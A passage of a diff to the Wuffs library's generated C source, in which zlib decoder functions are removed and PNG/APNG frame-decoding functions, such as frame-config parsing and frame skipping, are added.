+-wuffs_zlib__decoder__do_transform_io( +- wuffs_zlib__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); +- +-// ---------------- VTables +- +-const wuffs_base__io_transformer__func_ptrs +-wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer = { +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_zlib__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_zlib__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_zlib__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_zlib__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_zlib__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_zlib__decoder__initialize( +- wuffs_zlib__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- wuffs_base__status z = wuffs_adler32__hasher__initialize( +- &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); +- if (z.repr) { +- return z; +- } +- } +- { +- wuffs_base__status z = wuffs_adler32__hasher__initialize( +- &self->private_data.f_dict_id_hasher, sizeof(self->private_data.f_dict_id_hasher), WUFFS_VERSION, options); +- if (z.repr) { +- return z; +- } +- } +- { +- wuffs_base__status z = wuffs_deflate__decoder__initialize( +- &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- } +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_zlib__decoder* +-wuffs_zlib__decoder__alloc(void) { +- wuffs_zlib__decoder* x = +- (wuffs_zlib__decoder*)(calloc(sizeof(wuffs_zlib__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_zlib__decoder__initialize( +- x, sizeof(wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_zlib__decoder(void) { +- return sizeof(wuffs_zlib__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func zlib.decoder.dictionary_id +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_zlib__decoder__dictionary_id( +- const wuffs_zlib__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return self->private_impl.f_dict_id_want; +-} + +-// -------- func zlib.decoder.add_dictionary +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_zlib__decoder__add_dictionary( +- wuffs_zlib__decoder* self, +- wuffs_base__slice_u8 a_dict) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; + } + +- if (self->private_impl.f_header_complete) { +- self->private_impl.f_bad_call_sequence = true; +- } else { +- self->private_impl.f_dict_id_got = wuffs_adler32__hasher__update_u32(&self->private_data.f_dict_id_hasher, a_dict); +- wuffs_deflate__decoder__add_history(&self->private_data.f_flate, a_dict); ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- self->private_impl.f_got_dictionary = true; +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func zlib.decoder.get_quirk ++// -------- func png.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__get_quirk( +- const wuffs_zlib__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame_config( ++ wuffs_png__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_checksum_have = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t v_key = 0; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { +- return 1u; +- } else if (a_key >= 2113790976u) { +- v_key = (a_key - 2113790976u); +- if (v_key < 1u) { +- if (self->private_impl.f_quirks[v_key]) { +- return 1u; ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_png__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_png__decoder__skip_frame(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 48u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } ++ if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { ++ self->private_impl.f_frame_rect_x0 = self->private_impl.f_first_rect_x0; ++ self->private_impl.f_frame_rect_y0 = self->private_impl.f_first_rect_y0; ++ self->private_impl.f_frame_rect_x1 = self->private_impl.f_first_rect_x1; ++ self->private_impl.f_frame_rect_y1 = self->private_impl.f_first_rect_y1; ++ self->private_impl.f_frame_config_io_position = self->private_impl.f_first_config_io_position; ++ self->private_impl.f_frame_duration = self->private_impl.f_first_duration; ++ self->private_impl.f_frame_disposal = self->private_impl.f_first_disposal; ++ self->private_impl.f_frame_overwrite_instead_of_blend = self->private_impl.f_first_overwrite_instead_of_blend; ++ } else { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ self->private_impl.f_chunk_length = t_0; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ self->private_impl.f_chunk_type = t_1; ++ } ++ if (self->private_impl.f_chunk_type == 1145980233u) { ++ if (self->private_impl.f_chunk_length != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ v_checksum_have = t_2; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != 2187346606u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ self->private_impl.f_frame_config_io_position = ((uint64_t)(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) - 8u)); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_png__decoder__decode_fctl(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_data.s_do_decode_frame_config.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_do_decode_frame_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame_config.scratch; ++ break; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ status = wuffs_png__decoder__decode_other_chunk(self, a_src, true); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 48u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } ++ self->private_data.s_do_decode_frame_config.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (self->private_data.s_do_decode_frame_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame_config.scratch; ++ self->private_impl.f_chunk_length = 0u; + } + } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ self->private_impl.f_frame_rect_x0, ++ self->private_impl.f_frame_rect_y0, ++ self->private_impl.f_frame_rect_x1, ++ self->private_impl.f_frame_rect_y1), ++ ((wuffs_base__flicks)(self->private_impl.f_frame_duration)), ++ ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)), ++ self->private_impl.f_frame_config_io_position, ++ self->private_impl.f_frame_disposal, ++ ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns), ++ self->private_impl.f_frame_overwrite_instead_of_blend, ++ 0u); ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; + } +- return 0u; +-} + +-// -------- func zlib.decoder.set_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__set_quirk( +- wuffs_zlib__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- if (self->private_impl.f_header_complete) { +- self->private_impl.f_bad_call_sequence = true; +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } else if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } else if (a_key >= 2113790976u) { +- a_key -= 2113790976u; +- if (a_key < 1u) { +- self->private_impl.f_quirks[a_key] = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } +- } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return status; + } + +-// -------- func zlib.decoder.history_retain_length ++// -------- func png.decoder.skip_frame + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__history_retain_length( +- const wuffs_zlib__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++static wuffs_base__status ++wuffs_png__decoder__skip_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_seq_num = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- return 0u; +-} ++ uint32_t coro_susp_point = self->private_impl.p_skip_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-// -------- func zlib.decoder.workbuf_len ++ self->private_impl.f_chunk_type_array[0u] = 0u; ++ self->private_impl.f_chunk_type_array[1u] = 0u; ++ self->private_impl.f_chunk_type_array[2u] = 0u; ++ self->private_impl.f_chunk_type_array[3u] = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); ++ if (self->private_impl.f_chunk_type == 1413563465u) { ++ if (self->private_impl.f_chunk_type_array[0u] == 102u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_type_array[0u] = 73u; ++ self->private_impl.f_chunk_type_array[1u] = 68u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_type_array[0u] = 102u; ++ self->private_impl.f_chunk_type_array[1u] = 100u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ if (self->private_impl.f_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 4u; ++ iop_a_src += 8u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_skip_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_skip_frame.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_seq_num = t_0; ++ } ++ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; ++ } ++ self->private_impl.f_next_animation_seq_num += 1u; ++ self->private_data.s_skip_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 4u); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_frame.scratch; ++ self->private_impl.f_chunk_length = 0u; ++ continue; ++ } else if (self->private_impl.f_chunk_type_array[0u] != 0u) { ++ break; ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_data.s_skip_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_frame.scratch; ++ self->private_impl.f_chunk_length = 0u; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ self->private_impl.f_call_sequence = 32u; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_zlib__decoder__workbuf_len( +- const wuffs_zlib__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ ok: ++ self->private_impl.p_skip_frame = 0; ++ goto exit; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_skip_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++ return status; + } + +-// -------- func zlib.decoder.transform_io ++// -------- func png.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__transform_io( +- wuffs_zlib__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_png__decoder__decode_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -52170,7 +65458,7 @@ wuffs_zlib__decoder__transform_io( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { ++ (self->private_impl.active_coroutine != 3)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -52179,71 +65467,312 @@ wuffs_zlib__decoder__transform_io( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func png.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_seq_num = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_pass_width = 0; ++ uint32_t v_pass_height = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; + switch (coro_susp_point) { + 